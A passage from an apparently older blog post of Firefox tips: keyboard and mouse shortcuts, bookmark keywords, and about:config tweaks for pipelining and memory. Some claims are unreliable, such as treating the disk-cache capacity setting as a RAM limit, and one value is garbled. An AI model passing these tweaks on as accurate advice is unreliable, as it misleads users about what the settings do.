4)Auto-complete. This is another keyboard shortcut, but it’s not commonly known and very useful. Go to the address bar (Control-L) and type the name of the site without the “www” or the “.com”. Let’s say “google”. Then press Control-Enter, and it will automatically fill in the “www” and the “.com” and take you there - like magic! For .net addresses, press Shift-Enter, and for .org addresses, press Control-Shift-Enter.
5)Tab navigation. Instead of using the mouse to select different tabs that you have open, use the keyboard. Here are the shortcuts:
* Ctrl+Tab (rotate forward among tabs)
* Ctrl+Shft+Tab (rotate to the previous tab)
* Ctrl+1-9 (choose a number to jump to a specific tab)
6)Mouse shortcuts. Sometimes you’re already using your mouse and it’s easier to use a mouse shortcut than to go back to the keyboard. Master these cool ones:
* Middle click on link (opens in new tab)
* Shift-scroll down (previous page)
* Shift-scroll up (next page)
* Ctrl-scroll up (decrease text size)
* Ctrl-scroll down (increase text size)
* Middle click on a tab (closes tab)
7) Add a keyword for a bookmark. Go to your bookmarks much faster by giving them keywords. Right-click the bookmark and then select Properties. Put a short keyword in the keyword field, save it, and now you can type that keyword in the address bar and it will go to that bookmark.
8) Speed up Firefox. If you have a broadband connection (and most of us do), you can use pipelining to speed up your page loads. This allows Firefox to load multiple things on a page at once, instead of one at a time (by default, it’s optimized for dialup connections). Here’s how:
* Type “about:config” into the address bar and hit return. Type “network.http” in the filter field, and change the following settings (double-click on them to change them):
* Set “network.http.pipelining” to “true”
* Set “network.http.proxy.pipelining” to “true”
* Set “network.http.pipelining.maxrequests” to a number like 30. This will allow it to make 30 requests at once.
* Also, right-click anywhere and select New-> Integer. Name it “nglayout.initialpaint.delay” and set its value to “0?. This value is the amount of time the browser waits before it acts on information it receives.
9) Limit RAM usage. If Firefox takes up too much memory on your computer, you can limit the amount of RAM it is allowed to us. Again, go to about:config, filter “browser.cache” and select “browser.cache.disk.capacity”. It’s set to 50000, but you can lower it, depending on how much memory you have. Try 15000 if you have between 512MB and 1GB ram.
10) Reduce RAM usage further for when Firefox is minimized. This setting will move Firefox to your hard drive when you minimize it, taking up much less memory. And there is no noticeable difference in speed when you restore Firefox, so it’s definitely worth a go. Again, go to about:config, right-click anywhere and select New-> Boolean. Name it “config.trim_on_minimize” and set it to TRUE. You have to restart Firefox for these settings to take effect.
7:48 PM 0
Posts
